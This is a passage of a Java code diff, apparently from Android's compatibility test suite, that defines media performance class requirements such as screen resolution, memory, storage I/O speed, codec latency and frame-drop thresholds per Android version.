+    private static final String TAG = PerformanceClassEvaluator.class.getSimpleName();
+
+    private final String mTestName;
+    private Set<Requirement> mRequirements;
+
+    public PerformanceClassEvaluator(TestName testName) {
+        Preconditions.checkNotNull(testName);
+        this.mTestName = testName.getMethodName();
+        this.mRequirements = new HashSet<Requirement>();
+    }
+
+    // used for requirements [7.1.1.1/H-1-1], [7.1.1.1/H-2-1]
+    public static class ResolutionRequirement extends Requirement {
+        private static final String TAG = ResolutionRequirement.class.getSimpleName();
+
+        private ResolutionRequirement(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setLongResolution(int longResolution) {
+            this.<Integer>setMeasuredValue(RequirementConstants.LONG_RESOLUTION, longResolution);
+        }
+
+        public void setShortResolution(int shortResolution) {
+            this.<Integer>setMeasuredValue(RequirementConstants.SHORT_RESOLUTION, shortResolution);
+        }
+
+        /**
+         * [7.1.1.1/H-1-1] MUST have screen resolution of at least 1080p.
+         */
+        public static ResolutionRequirement createR7_1_1_1__H_1_1() {
+            RequiredMeasurement<Integer> long_resolution = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.LONG_RESOLUTION)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R, 1920)
+                .build();
+            RequiredMeasurement<Integer> short_resolution = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.SHORT_RESOLUTION)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R, 1080)
+                .build();
+
+            return new ResolutionRequirement(RequirementConstants.R7_1_1_1__H_1_1, long_resolution,
+                short_resolution);
+        }
+
+        /**
+         * [7.1.1.1/H-2-1] MUST have screen resolution of at least 1080p.
+         */
+        public static ResolutionRequirement createR7_1_1_1__H_2_1() {
+            RequiredMeasurement<Integer> long_resolution = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.LONG_RESOLUTION)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.S, 1920)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1920)
+                .build();
+            RequiredMeasurement<Integer> short_resolution = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.SHORT_RESOLUTION)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.S, 1080)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1080)
+                .build();
+
+            return new ResolutionRequirement(RequirementConstants.R7_1_1_1__H_2_1, long_resolution,
+                short_resolution);
+        }
+    }
+
+    // used for requirements [7.1.1.3/H-1-1], [7.1.1.3/H-2-1]
+    public static class DensityRequirement extends Requirement {
+        private static final String TAG = DensityRequirement.class.getSimpleName();
+
+        private DensityRequirement(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setDisplayDensity(int displayDensity) {
+            this.<Integer>setMeasuredValue(RequirementConstants.DISPLAY_DENSITY, displayDensity);
+        }
+
+        /**
+         * [7.1.1.3/H-1-1] MUST have screen density of at least 400 dpi.
+         */
+        public static DensityRequirement createR7_1_1_3__H_1_1() {
+            RequiredMeasurement<Integer> display_density = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.DISPLAY_DENSITY)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R, 400)
+                .build();
+
+            return new DensityRequirement(RequirementConstants.R7_1_1_3__H_1_1, display_density);
+        }
+
+        /**
+         * [7.1.1.3/H-2-1] MUST have screen density of at least 400 dpi.
+         */
+        public static DensityRequirement createR7_1_1_3__H_2_1() {
+            RequiredMeasurement<Integer> display_density = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.DISPLAY_DENSITY)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.S, 400)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 400)
+                .build();
+
+            return new DensityRequirement(RequirementConstants.R7_1_1_3__H_2_1, display_density);
+        }
+    }
+
+    // used for requirements [7.6.1/H-1-1], [7.6.1/H-2-1]
+    public static class MemoryRequirement extends Requirement {
+        private static final String TAG = MemoryRequirement.class.getSimpleName();
+
+        private MemoryRequirement(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setPhysicalMemory(long physicalMemory) {
+            this.<Long>setMeasuredValue(RequirementConstants.PHYSICAL_MEMORY, physicalMemory);
+        }
+
+        /**
+         * [7.6.1/H-1-1] MUST have at least 6 GB of physical memory.
+         */
+        public static MemoryRequirement createR7_6_1__H_1_1() {
+            RequiredMeasurement<Long> physical_memory = RequiredMeasurement
+                .<Long>builder()
+                .setId(RequirementConstants.PHYSICAL_MEMORY)
+                .setPredicate(RequirementConstants.LONG_GTE)
+                // Media performance requires 6 GB minimum RAM, but keeping the following to 5 GB
+                // as activityManager.getMemoryInfo() returns around 5.4 GB on a 6 GB device.
+                .addRequiredValue(Build.VERSION_CODES.R, 5L * 1024L)
+                .build();
+
+            return new MemoryRequirement(RequirementConstants.R7_6_1__H_1_1, physical_memory);
+        }
+
+        /**
+         * [7.6.1/H-2-1] MUST have at least 6/8 GB of physical memory.
+         */
+        public static MemoryRequirement createR7_6_1__H_2_1() {
+            RequiredMeasurement<Long> physical_memory = RequiredMeasurement
+                .<Long>builder()
+                .setId(RequirementConstants.PHYSICAL_MEMORY)
+                .setPredicate(RequirementConstants.LONG_GTE)
+                // Media performance requires 6/8 GB minimum RAM, but keeping the following to
+                // 5/7 GB as activityManager.getMemoryInfo() returns around 5.4 GB on a 6 GB device.
+                .addRequiredValue(Build.VERSION_CODES.S, 5L * 1024L)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 7L * 1024L)
+                .build();
+
+            return new MemoryRequirement(RequirementConstants.R7_6_1__H_2_1, physical_memory);
+        }
+    }
+
+    // used for requirements [8.2/H-1-1], [8.2/H-1-2], [8.2/H-1-3], [8.2/H-1-4]
+    public static class FileSystemRequirement extends Requirement {
+
+        private static final String TAG = FileSystemRequirement.class.getSimpleName();
+
+        private FileSystemRequirement(String id, RequiredMeasurement<?>... reqs) {
+            super(id, reqs);
+        }
+        /**
+         * Set the Filesystem I/O Rate in MB/s.
+         */
+        public void setFilesystemIoRate(double filesystemIoRate) {
+            this.setMeasuredValue(RequirementConstants.FILESYSTEM_IO_RATE, filesystemIoRate);
+        }
+
+        /**
+         * [8.2/H-1-1] MUST ensure a sequential write performance of at least 100(R) / 125(S &
+         * above) MB/s.
+         */
+        public static FileSystemRequirement createR8_2__H_1_1() {
+            RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+                .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R, 100.0)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 125.0)
+                .build();
+
+            return new FileSystemRequirement(RequirementConstants.R8_2__H_1_1, filesystem_io_rate);
+        }
+
+        /**
+         * [8.2/H-2-1] MUST ensure a sequential write performance of at least 125 MB/s.
+         */
+        public static FileSystemRequirement createR8_2__H_2_1() {
+            RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+                .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.S, 125.0)
+                .build();
+
+            return new FileSystemRequirement(RequirementConstants.R8_2__H_2_1, filesystem_io_rate);
+        }
+
+        /**
+         * [8.2/H-1-2] MUST ensure a random write performance of at least 10 MB/s
+         */
+        public static FileSystemRequirement createR8_2__H_1_2() {
+            RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+                .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 10.0)
+                .build();
+
+            return new FileSystemRequirement(RequirementConstants.R8_2__H_1_2, filesystem_io_rate);
+        }
+
+        /**
+         * [8.2/H-2-2] MUST ensure a random write performance of at least 10 MB/s.
+         */
+        public static FileSystemRequirement createR8_2__H_2_2() {
+            RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+                .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.S, 10.0)
+                .build();
+
+            return new FileSystemRequirement(RequirementConstants.R8_2__H_2_2, filesystem_io_rate);
+        }
+
+        /**
+         * [8.2/H-1-3] MUST ensure a sequential read performance of at least 200(R) / 250(S &
+         * above) MB/s.
+         */
+        public static FileSystemRequirement createR8_2__H_1_3() {
+            RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+                .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R, 200.0)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 250.0)
+                .build();
+
+            return new FileSystemRequirement(RequirementConstants.R8_2__H_1_3, filesystem_io_rate);
+        }
+
+        /**
+         * [8.2/H-2-3] MUST ensure a sequential read performance of at least 250 MB/s.
+         */
+        public static FileSystemRequirement createR8_2__H_2_3() {
+            RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+                .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.S, 250.0)
+                .build();
+
+            return new FileSystemRequirement(RequirementConstants.R8_2__H_2_3, filesystem_io_rate);
+        }
+
+        /**
+         * [8.2/H-1-4] MUST ensure a random read performance of at least 25(R) / 40(S & above) MB/s.
+         */
+        public static FileSystemRequirement createR8_2__H_1_4() {
+            RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+                .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R, 25.0)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 40.0)
+                .build();
+
+            return new FileSystemRequirement(RequirementConstants.R8_2__H_1_4, filesystem_io_rate);
+        }
+
+        /**
+         * [8.2/H-2-4] MUST ensure a random read performance of at least 40 MB/s.
+         */
+        public static FileSystemRequirement createR8_2__H_2_4() {
+            RequiredMeasurement<Double> filesystem_io_rate = RequiredMeasurement
+                .<Double>builder().setId(RequirementConstants.FILESYSTEM_IO_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.S, 40.0)
+                .build();
+
+            return new FileSystemRequirement(RequirementConstants.R8_2__H_2_4, filesystem_io_rate);
+        }
+    }
+
+    public static class CodecInitLatencyRequirement extends Requirement {
+
+        private static final String TAG = CodecInitLatencyRequirement.class.getSimpleName();
+
+        private CodecInitLatencyRequirement(String id, RequiredMeasurement<?>... reqs) {
+            super(id, reqs);
+        }
+
+        public void setCodecInitLatencyMs(long codecInitLatencyMs) {
+            this.setMeasuredValue(RequirementConstants.CODEC_INIT_LATENCY, codecInitLatencyMs);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-7] MUST have a codec initialization latency of 65(R) / 50(S) / 40(T)
+         * ms or less for a 1080p or smaller video encoding session for all hardware video
+         * encoders when under load. Load here is defined as a concurrent 1080p to 720p
+         * video-only transcoding session using hardware video codecs together with the 1080p
+         * audio-video recording initialization.
+         */
+        public static CodecInitLatencyRequirement createR5_1__H_1_7() {
+            RequiredMeasurement<Long> codec_init_latency =
+                RequiredMeasurement.<Long>builder().setId(RequirementConstants.CODEC_INIT_LATENCY)
+                    .setPredicate(RequirementConstants.LONG_LTE)
+                    .addRequiredValue(Build.VERSION_CODES.R, 65L)
+                    .addRequiredValue(Build.VERSION_CODES.S, 50L)
+                    .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 40L)
+                    .build();
+
+            return new CodecInitLatencyRequirement(RequirementConstants.R5_1__H_1_7,
+                codec_init_latency);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-8] MUST have a codec initialization latency of 50(R) / 40(S) / 30(T)
+         * ms or less for a 128 kbps or lower bitrate audio encoding session for all audio
+         * encoders when under load. Load here is defined as a concurrent 1080p to 720p
+         * video-only transcoding session using hardware video codecs together with the 1080p
+         * audio-video recording initialization.
+         */
+        public static CodecInitLatencyRequirement createR5_1__H_1_8() {
+            RequiredMeasurement<Long> codec_init_latency =
+                RequiredMeasurement.<Long>builder().setId(RequirementConstants.CODEC_INIT_LATENCY)
+                    .setPredicate(RequirementConstants.LONG_LTE)
+                    .addRequiredValue(Build.VERSION_CODES.R, 50L)
+                    .addRequiredValue(Build.VERSION_CODES.S, 40L)
+                    .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 30L)
+                    .build();
+
+            return new CodecInitLatencyRequirement(RequirementConstants.R5_1__H_1_8,
+                codec_init_latency);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-12] Codec initialization latency of 40ms or less for a 1080p or
+         * smaller video decoding session for all hardware video encoders when under load. Load
+         * here is defined as a concurrent 1080p to 720p video-only transcoding session using
+         * hardware video codecs together with the 1080p audio-video recording initialization.
+         */
+        public static CodecInitLatencyRequirement createR5_1__H_1_12() {
+            RequiredMeasurement<Long> codec_init_latency =
+                RequiredMeasurement.<Long>builder().setId(RequirementConstants.CODEC_INIT_LATENCY)
+                    .setPredicate(RequirementConstants.LONG_LTE)
+                    .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 40L)
+                    .build();
+
+            return new CodecInitLatencyRequirement(RequirementConstants.R5_1__H_1_12,
+                    codec_init_latency);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-13] Codec initialization latency of 30ms or less for a 128kbps or
+         * lower bitrate audio decoding session for all audio encoders when under load. Load here
+         * is defined as a concurrent 1080p to 720p video-only transcoding session using hardware
+         * video codecs together with the 1080p audio-video recording initialization.
+         */
+        public static CodecInitLatencyRequirement createR5_1__H_1_13() {
+            RequiredMeasurement<Long> codec_init_latency =
+                RequiredMeasurement.<Long>builder().setId(RequirementConstants.CODEC_INIT_LATENCY)
+                    .setPredicate(RequirementConstants.LONG_LTE)
+                    .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 30L)
+                    .build();
+
+            return new CodecInitLatencyRequirement(RequirementConstants.R5_1__H_1_13,
+                    codec_init_latency);
+        }
+    }
+
+    // used for requirements [2.2.7.1/5.3/H-1-1], [2.2.7.1/5.3/H-1-2]
+    public static class FrameDropRequirement extends Requirement {
+        private static final String TAG = FrameDropRequirement.class.getSimpleName();
+
+        private FrameDropRequirement(String id, RequiredMeasurement<?>... reqs) {
+            super(id, reqs);
+        }
+
+        public void setFramesDropped(int framesDropped) {
+            this.setMeasuredValue(RequirementConstants.FRAMES_DROPPED, framesDropped);
+        }
+
+        public void setFrameRate(double frameRate) {
+            this.setMeasuredValue(RequirementConstants.FRAME_RATE, frameRate);
+        }
+
+        /**
+         * [2.2.7.1/5.3/H-1-1] MUST NOT drop more than 1 frames in 10 seconds (i.e less than 0.333
+         * percent frame drop) for a 1080p 30 fps video session under load. Load is defined as a
+         * concurrent 1080p to 720p video-only transcoding session using hardware video codecs,
+         * as well as a 128 kbps AAC audio playback.
+         */
+        public static FrameDropRequirement createR5_3__H_1_1_R() {
+            RequiredMeasurement<Integer> frameDropped = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.FRAMES_DROPPED)
+                .setPredicate(RequirementConstants.INTEGER_LTE)
+                // MUST NOT drop more than 1 frame in 10 seconds so 3 frames for 30 seconds
+                .addRequiredValue(Build.VERSION_CODES.R, 3)
+                .build();
+
+            RequiredMeasurement<Double> frameRate = RequiredMeasurement
+                .<Double>builder()
+                .setId(RequirementConstants.FRAME_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_EQ)
+                .addRequiredValue(Build.VERSION_CODES.R, 30.0)
+                .build();
+
+            return new FrameDropRequirement(RequirementConstants.R5_3__H_1_1, frameDropped,
+                frameRate);
+        }
+
+        /**
+         * [2.2.7.1/5.3/H-1-2] MUST NOT drop more than 1 frame in 10 seconds during a video
+         * resolution change in a 30 fps video session under load. Load is defined as a
+         * concurrent 1080p to 720p video-only transcoding session using hardware video codecs,
+         * as well as a 128Kbps AAC audio playback.
+         */
+        public static FrameDropRequirement createR5_3__H_1_2_R() {
+            RequiredMeasurement<Integer> frameDropped = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.FRAMES_DROPPED)
+                .setPredicate(RequirementConstants.INTEGER_LTE)
+                // MUST NOT drop more than 1 frame in 10 seconds so 3 frames for 30 seconds
+                .addRequiredValue(Build.VERSION_CODES.R, 3)
+                .build();
+
+            RequiredMeasurement<Double> frameRate = RequiredMeasurement
+                .<Double>builder()
+                .setId(RequirementConstants.FRAME_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_EQ)
+                .addRequiredValue(Build.VERSION_CODES.R, 30.0)
+                .build();
+
+            return new FrameDropRequirement(RequirementConstants.R5_3__H_1_2, frameDropped,
+                frameRate);
+        }
+
+        /**
+         * [2.2.7.1/5.3/H-1-1] MUST NOT drop more than 2(S) / 1(T) frames in 10 seconds for a
+         * 1080p 60 fps video session under load. Load is defined as a concurrent 1080p to 720p
+         * video-only transcoding session using hardware video codecs, as well as a 128 kbps AAC
+         * audio playback.
+         */
+        public static FrameDropRequirement createR5_3__H_1_1_ST() {
+            RequiredMeasurement<Integer> frameDropped = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.FRAMES_DROPPED)
+                .setPredicate(RequirementConstants.INTEGER_LTE)
+                // MUST NOT drop more than 2 frame in 10 seconds so 6 frames for 30 seconds
+                .addRequiredValue(Build.VERSION_CODES.S, 6)
+                // MUST NOT drop more than 1 frame in 10 seconds so 3 frames for 30 seconds
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 3)
+                .build();
+
+            RequiredMeasurement<Double> frameRate = RequiredMeasurement
+                .<Double>builder()
+                .setId(RequirementConstants.FRAME_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_EQ)
+                .addRequiredValue(Build.VERSION_CODES.S, 60.0)
+                .build();
+
+            return new FrameDropRequirement(RequirementConstants.R5_3__H_1_1, frameDropped,
+                frameRate);
+        }
+
+        /**
+         * [2.2.7.1/5.3/H-1-2] MUST NOT drop more than 2(S) / 1(T) frames in 10 seconds during a
+         * video resolution change in a 60 fps video session under load. Load is defined as a
+         * concurrent 1080p to 720p video-only transcoding session using hardware video codecs,
+         * as well as a 128Kbps AAC audio playback.
+         */
+        public static FrameDropRequirement createR5_3__H_1_2_ST() {
+            RequiredMeasurement<Integer> frameDropped = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.FRAMES_DROPPED)
+                .setPredicate(RequirementConstants.INTEGER_LTE)
+                // MUST NOT drop more than 2 frame in 10 seconds so 6 frames for 30 seconds
+                .addRequiredValue(Build.VERSION_CODES.S, 6)
+                // MUST NOT drop more than 1 frame in 10 seconds so 3 frames for 30 seconds
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 3)
+                .build();
+
+            RequiredMeasurement<Double> frameRate = RequiredMeasurement
+                .<Double>builder()
+                .setId(RequirementConstants.FRAME_RATE)
+                .setPredicate(RequirementConstants.DOUBLE_EQ)
+                .addRequiredValue(Build.VERSION_CODES.S, 60.0)
+                .build();
+
+            return new FrameDropRequirement(RequirementConstants.R5_3__H_1_2, frameDropped,
+                frameRate);
+        }
+    }
+
+    public static class VideoCodecRequirement extends Requirement {
+        private static final String TAG = VideoCodecRequirement.class.getSimpleName();
+
+        private VideoCodecRequirement(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setAv1DecoderReq(boolean av1DecoderReqSatisfied) {
+            this.setMeasuredValue(RequirementConstants.AV1_DEC_REQ, av1DecoderReqSatisfied);
+        }
+
+        public void set4kHwDecoders(int num4kHwDecoders) {
+            this.setMeasuredValue(RequirementConstants.NUM_4k_HW_DEC, num4kHwDecoders);
+        }
+
+        public void set4kHwEncoders(int num4kHwEncoders) {
+            this.setMeasuredValue(RequirementConstants.NUM_4k_HW_ENC, num4kHwEncoders);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-15] Must have at least 1 HW video decoder supporting 4K60
+         */
+        public static VideoCodecRequirement createR4k60HwDecoder() {
+            RequiredMeasurement<Integer> requirement = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.NUM_4k_HW_DEC)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1)
+                .build();
+
+            return new VideoCodecRequirement(RequirementConstants.R5_1__H_1_15, requirement);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-16] Must have at least 1 HW video encoder supporting 4K60
+         */
+        public static VideoCodecRequirement createR4k60HwEncoder() {
+            RequiredMeasurement<Integer> requirement = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.NUM_4k_HW_ENC)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1)
+                .build();
+
+            return new VideoCodecRequirement(RequirementConstants.R5_1__H_1_16, requirement);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-14] AV1 Hardware decoder: Main 10, Level 4.1, Film Grain
+         */
+        public static VideoCodecRequirement createRAV1DecoderReq() {
+            RequiredMeasurement<Boolean> requirement = RequiredMeasurement
+                .<Boolean>builder()
+                .setId(RequirementConstants.AV1_DEC_REQ)
+                .setPredicate(RequirementConstants.BOOLEAN_EQ)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+                .build();
+
+            return new VideoCodecRequirement(RequirementConstants.R5_1__H_1_14, requirement);
+        }
+    }
+
+    // used for requirements [2.2.7.1/5.1/H-1-1], [2.2.7.1/5.1/H-1-2], [2.2.7.1/5.1/H-1-3],
+    // [2.2.7.1/5.1/H-1-4], [2.2.7.1/5.1/H-1-5], [2.2.7.1/5.1/H-1-6], [2.2.7.1/5.1/H-1-9],
+    // [2.2.7.1/5.1/H-1-10]
+    public static class ConcurrentCodecRequirement extends Requirement {
+        private static final String TAG = ConcurrentCodecRequirement.class.getSimpleName();
+        // allowed tolerance in measured fps vs expected fps in percentage, i.e. codecs achieving
+        // fps that is greater than (FPS_TOLERANCE_FACTOR * expectedFps) will be considered as
+        // passing the test
+        private static final double FPS_TOLERANCE_FACTOR = 0.95;
+        private static final double FPS_30_TOLERANCE = 30.0 * FPS_TOLERANCE_FACTOR;
+        static final int REQUIRED_MIN_CONCURRENT_INSTANCES = 6;
+        static final int REQUIRED_MIN_CONCURRENT_INSTANCES_FOR_VP9 = 2;
+
+        private ConcurrentCodecRequirement(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setConcurrentInstances(int concurrentInstances) {
+            this.setMeasuredValue(RequirementConstants.CONCURRENT_SESSIONS,
+                concurrentInstances);
+        }
+
+        public void setConcurrentFps(double achievedFps) {
+            this.setMeasuredValue(RequirementConstants.CONCURRENT_FPS, achievedFps);
+        }
+
+        // copied from android.mediapc.cts.getReqMinConcurrentInstances due to build issues on aosp
+        public static int getReqMinConcurrentInstances(int performanceClass, String mimeType1,
+            String mimeType2, int resolution) {
+            ArrayList<String> MEDIAPC_CONCURRENT_CODECS_R = new ArrayList<>(
+                Arrays.asList(MediaFormat.MIMETYPE_VIDEO_AVC, MediaFormat.MIMETYPE_VIDEO_HEVC));
+            ArrayList<String> MEDIAPC_CONCURRENT_CODECS = new ArrayList<>(Arrays
+                .asList(MediaFormat.MIMETYPE_VIDEO_AVC, MediaFormat.MIMETYPE_VIDEO_HEVC,
+                    MediaFormat.MIMETYPE_VIDEO_VP9, MediaFormat.MIMETYPE_VIDEO_AV1));
+
+            if (performanceClass >= Build.VERSION_CODES.TIRAMISU) {
+                return resolution >= 1080 ? REQUIRED_MIN_CONCURRENT_INSTANCES : 0;
+            } else if (performanceClass == Build.VERSION_CODES.S) {
+                if (resolution >= 1080) {
+                    return 0;
+                }
+                if (MEDIAPC_CONCURRENT_CODECS.contains(mimeType1) && MEDIAPC_CONCURRENT_CODECS
+                    .contains(mimeType2)) {
+                    if (MediaFormat.MIMETYPE_VIDEO_VP9.equalsIgnoreCase(mimeType1)
+                        || MediaFormat.MIMETYPE_VIDEO_VP9.equalsIgnoreCase(mimeType2)) {
+                        return REQUIRED_MIN_CONCURRENT_INSTANCES_FOR_VP9;
+                    } else {
+                        return REQUIRED_MIN_CONCURRENT_INSTANCES;
+                    }
+                } else {
+                    return 0;
+                }
+            } else if (performanceClass == Build.VERSION_CODES.R) {
+                if (resolution >= 1080) {
+                    return 0;
+                }
+                if (MEDIAPC_CONCURRENT_CODECS_R.contains(mimeType1) && MEDIAPC_CONCURRENT_CODECS_R
+                    .contains(mimeType2)) {
+                    return REQUIRED_MIN_CONCURRENT_INSTANCES;
+                } else {
+                    return 0;
+                }
+            } else {
+                return 0;
+            }
+        }
+
+        private static double getReqMinConcurrentFps(int performanceClass, String mimeType1,
+            String mimeType2, int resolution) {
+            return FPS_30_TOLERANCE * getReqMinConcurrentInstances(performanceClass, mimeType1,
+                mimeType2, resolution);
+        }
+
+        /**
+         * Helper method used to create ConcurrentCodecRequirements, builds and fills out the
+         * a requirement for tests ran with a resolution of 720p
+         */
+        private static ConcurrentCodecRequirement create720p(String requirementId,
+                RequiredMeasurement<?> measure) {
+            RequiredMeasurement<Integer> testResolution = RequiredMeasurement.<Integer>builder()
+                .setId(RequirementConstants.TEST_RESOLUTION)
+                .setPredicate(RequirementConstants.INTEGER_EQ)
+                .addRequiredValue(Build.VERSION_CODES.R, 720)
+                .build();
+
+            ConcurrentCodecRequirement req = new ConcurrentCodecRequirement(requirementId, measure,
+                    testResolution);
+            req.setMeasuredValue(RequirementConstants.TEST_RESOLUTION, 720);
+            return req;
+        }
+
+        /**
+         * Helper method used to create ConcurrentCodecRequirements, builds and fills out the
+         * a requirement for tests ran with a resolution of 1080p
+         */
+        private static ConcurrentCodecRequirement create1080p(String requirementId,
+                RequiredMeasurement<?> measure) {
+            RequiredMeasurement<Integer> testResolution = RequiredMeasurement.<Integer>builder()
+                .setId(RequirementConstants.TEST_RESOLUTION)
+                .setPredicate(RequirementConstants.INTEGER_EQ)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1080)
+                .build();
+
+            ConcurrentCodecRequirement req = new ConcurrentCodecRequirement(requirementId, measure,
+                    testResolution);
+            req.setMeasuredValue(RequirementConstants.TEST_RESOLUTION, 1080);
+            return req;
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-1] MUST advertise the maximum number of hardware video decoder
+         * sessions that can be run concurrently in any codec combination via the
+         * CodecCapabilities.getMaxSupportedInstances() and VideoCapabilities
+         * .getSupportedPerformancePoints() methods.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_1_720p(String mimeType1,
+            String mimeType2, int resolution) {
+            RequiredMeasurement<Integer> maxInstances = RequiredMeasurement.<Integer>builder()
+                .setId(RequirementConstants.CONCURRENT_SESSIONS)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R,
+                    getReqMinConcurrentInstances(Build.VERSION_CODES.R, mimeType1, mimeType2,
+                        resolution))
+                .addRequiredValue(Build.VERSION_CODES.S,
+                    getReqMinConcurrentInstances(Build.VERSION_CODES.S, mimeType1, mimeType2,
+                        resolution))
+                .build();
+
+            return create720p(RequirementConstants.R5_1__H_1_1, maxInstances);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-1] MUST advertise the maximum number of hardware video decoder
+         * sessions that can be run concurrently in any codec combination via the
+         * CodecCapabilities.getMaxSupportedInstances() and VideoCapabilities
+         * .getSupportedPerformancePoints() methods.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_1_1080p() {
+            RequiredMeasurement<Integer> maxInstances = RequiredMeasurement.<Integer>builder()
+                .setId(RequirementConstants.CONCURRENT_SESSIONS)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 6)
+                .build();
+
+            return create1080p(RequirementConstants.R5_1__H_1_1, maxInstances);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-2] MUST support 6 instances of hardware video decoder sessions (AVC,
+         * HEVC, VP9* or later) in any codec combination running concurrently at 720p(R,S)
+         * resolution@30 fps.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_2_720p(String mimeType1,
+            String mimeType2, int resolution) {
+            RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+                .setId(RequirementConstants.CONCURRENT_FPS)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R,
+                    getReqMinConcurrentFps(Build.VERSION_CODES.R, mimeType1, mimeType2, resolution))
+                .addRequiredValue(Build.VERSION_CODES.S,
+                    getReqMinConcurrentFps(Build.VERSION_CODES.S, mimeType1, mimeType2, resolution))
+                .build();
+
+            return create720p(RequirementConstants.R5_1__H_1_2, reqConcurrentFps);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-2] MUST support 6 instances of hardware video decoder sessions (AVC,
